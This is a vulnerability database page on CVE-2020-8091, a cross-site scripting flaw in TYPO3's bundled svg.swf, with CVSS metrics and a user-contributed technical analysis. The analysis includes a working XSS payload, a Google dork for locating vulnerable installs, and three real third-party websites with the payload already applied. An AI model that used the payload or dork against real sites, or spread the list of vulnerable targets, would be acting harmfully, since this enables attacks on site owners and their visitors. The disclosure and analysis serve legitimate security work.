Attacker Value
Moderate
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
Required
Privileges Required
None
Attack Vector
Network
1

CVE-2020-8091

Disclosure Date: January 27, 2020
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

svg.swf in TYPO3 6.2.0 to 6.2.38 ELTS and 7.0.0 to 7.1.0 could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack on a targeted system. This may be at a contrib/websvg/svg.swf pathname.

Add Assessment

1
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Very High
Technical Analysis

DESCRIPTION-

TYPO3 6.2.0 to 6.2.38 ELTS and TYPO3 7.0.0 to 7.1.0 (CVE-2020-8091). These versions embed a third-party component named SVG Web which provides svg.swf, a Flash file vulnerable to cross-site scripting.

Google Dork

inurl:"typo3/contrib/websvg"

Works on IE

PROOF OF CONCEPT-
Payload: svg.swf?uniqueId=%22])}catch(e){if(!this.x)alert("XSS"),this.x=1}//

Live sites:

https://www.bulac.fr/typo3/contrib/websvg/svg.swf?uniqueId=%22])}catch(e){if(!this.x)alert(%22XSS%22),this.x=1}//

www.roz.si/typo3/contrib/websvg/svg.swf?uniqueId=%22])}catch(e){if(!this.x)alert(%22XSS%22),this.x=1}//

www.urbanek-consulting.com/typo3/contrib/websvg/svg.swf?uniqueId=%22])}catch(e){if(!this.x)alert(%22XSS%22),this.x=1}//
CVSS V3 Severity and Metrics
Base Score:
6.1 Medium
Impact Score:
2.7
Exploitability Score:
2.8
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
Required
Scope (S):
Changed
Confidentiality (C):
Low
Integrity (I):
Low
Availability (A):
None

General Information

Vendors

  • typo3

Products

  • typo3

Additional Info

Technical Analysis